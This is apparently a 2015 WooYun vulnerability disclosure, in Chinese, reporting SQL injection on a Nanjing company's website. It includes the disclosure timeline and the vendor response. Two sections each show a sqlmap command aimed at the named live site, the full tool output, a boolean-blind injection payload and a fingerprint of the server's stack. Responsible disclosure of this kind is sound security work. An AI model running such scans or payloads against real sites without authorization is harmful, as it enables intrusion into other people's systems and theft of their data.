当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0129038

漏洞标题: 南京中北(集团)股份有限公司某页面SQL注入

相关厂商:南京中北(集团)股份有限公司

漏洞作者: linkey

提交时间:2015-07-25 09:09

修复时间:2015-09-12 15:30

公开时间:2015-09-12 15:30

漏洞类型:SQL注射漏洞

危害等级:低

自评Rank:4

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-25: 细节已通知厂商并且等待厂商处理中
2015-07-29: 厂商已经确认,细节仅向厂商公开
2015-08-08: 细节向核心白帽子及相关领域专家公开
2015-08-18: 细节向普通白帽子公开
2015-08-28: 细节向实习白帽子公开
2015-09-12: 细节向公众公开

简要描述:

找SQL 是我的擅长。找不到的 白帽子 不要怪我提交的快

详细说明:

用sqlmap 扫描如下 sql注入的地址
python sqlmap.py -u "http://www.zhong-bei.com/common.asp?id=2" --table
扫描得出 如下结果:
sqlmap/1.0-dev-25eca9d - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Authors assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 05:10:49
[05:10:50] [INFO] testing connection to the target url
[05:10:50] [INFO] testing if the url is stable, wait a few seconds
[05:10:51] [INFO] url is stable
[05:10:51] [INFO] testing if GET parameter 'id' is dynamic
[05:10:52] [INFO] heuristics detected web page charset 'GB2312'
[05:10:52] [INFO] confirming that GET parameter 'id' is dynamic
[05:10:52] [WARNING] GET parameter 'id' appears to be not dynamic
[05:10:53] [WARNING] reflective value(s) found and filtering out
[05:10:53] [INFO] heuristic test shows that GET parameter 'id' might be injectable (possible DBMS: Microsoft Access)
[05:10:53] [INFO] testing for SQL injection on GET parameter 'id'
[05:10:53] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[05:10:55] [INFO] GET parameter 'id' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string='\u4e1a\u52a1\u9886\u57df - - \u5357\u4eac\u4e2d\u5317(\u96c6\u56e2)\u80a1\u4efd\u6709\u9650\u516c\u53f8')
parsed error message(s) showed that the back-end DBMS could be Microsoft Access. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
[05:10:59] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[05:10:59] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other injection technique found
[05:11:01] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[05:11:04] [INFO] target url appears to have 9 columns in query
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] y
[05:11:27] [WARNING] if UNION based SQL injection is not detected, please consider and/or try to force the back-end DBMS (e.g. --dbms=mysql)
[05:11:27] [INFO] checking if the injection point on GET parameter 'id' is a false positive
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection points with a total of 50 HTTP(s) requests:
注入成功 如下 (未深入研究):
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=2 AND 2236=2236
---
[05:11:30] [INFO] testing Microsoft Access
[05:11:31] [INFO] confirming Microsoft Access
[05:11:31] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2003
web application technology: Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access
[05:11:31] [INFO] fetching tables for database: 'Microsoft_Access_masterdb'
[05:11:31] [INFO] fetching number of tables for database 'Microsoft_Access_masterdb'
[05:11:31] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[05:11:31] [INFO] retrieved:
[05:11:31] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' and/or switch '--hex'
[05:11:31] [WARNING] unable to retrieve the number of tables for database 'Microsoft_Access_masterdb'
[05:11:31] [ERROR] cannot retrieve table names, back-end DBMS is Access

漏洞证明:

用sqlmap 扫描如下 sql注入的地址
python sqlmap.py -u "http://www.zhong-bei.com/common.asp?id=2" --table
扫描得出 如下结果:
sqlmap/1.0-dev-25eca9d - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Authors assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 05:10:49
[05:10:50] [INFO] testing connection to the target url
[05:10:50] [INFO] testing if the url is stable, wait a few seconds
[05:10:51] [INFO] url is stable
[05:10:51] [INFO] testing if GET parameter 'id' is dynamic
[05:10:52] [INFO] heuristics detected web page charset 'GB2312'
[05:10:52] [INFO] confirming that GET parameter 'id' is dynamic
[05:10:52] [WARNING] GET parameter 'id' appears to be not dynamic
[05:10:53] [WARNING] reflective value(s) found and filtering out
[05:10:53] [INFO] heuristic test shows that GET parameter 'id' might be injectable (possible DBMS: Microsoft Access)
[05:10:53] [INFO] testing for SQL injection on GET parameter 'id'
[05:10:53] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[05:10:55] [INFO] GET parameter 'id' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string='\u4e1a\u52a1\u9886\u57df - - \u5357\u4eac\u4e2d\u5317(\u96c6\u56e2)\u80a1\u4efd\u6709\u9650\u516c\u53f8')
parsed error message(s) showed that the back-end DBMS could be Microsoft Access. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
[05:10:59] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[05:10:59] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other injection technique found
[05:11:01] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[05:11:04] [INFO] target url appears to have 9 columns in query
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] y
[05:11:27] [WARNING] if UNION based SQL injection is not detected, please consider and/or try to force the back-end DBMS (e.g. --dbms=mysql)
[05:11:27] [INFO] checking if the injection point on GET parameter 'id' is a false positive
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection points with a total of 50 HTTP(s) requests:
注入成功 如下 (未深入研究):
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=2 AND 2236=2236
---
[05:11:30] [INFO] testing Microsoft Access
[05:11:31] [INFO] confirming Microsoft Access
[05:11:31] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2003
web application technology: Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access
[05:11:31] [INFO] fetching tables for database: 'Microsoft_Access_masterdb'
[05:11:31] [INFO] fetching number of tables for database 'Microsoft_Access_masterdb'
[05:11:31] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[05:11:31] [INFO] retrieved:
[05:11:31] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' and/or switch '--hex'
[05:11:31] [WARNING] unable to retrieve the number of tables for database 'Microsoft_Access_masterdb'
[05:11:31] [ERROR] cannot retrieve table names, back-end DBMS is Access
证明就附上图片一张吧:

FOV_7{R]BFN$PD6G7XK79N9.jpg

修复方案:

过滤就好。工程师解决吧。本人小白一个

版权声明:转载请注明来源 linkey@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2015-07-29 15:28

厂商回复:

CNVD确认所述漏洞情况,暂未建立与软件生产厂商(或网站管理单位)的直接处置渠道,待认领。

最新状态:

暂无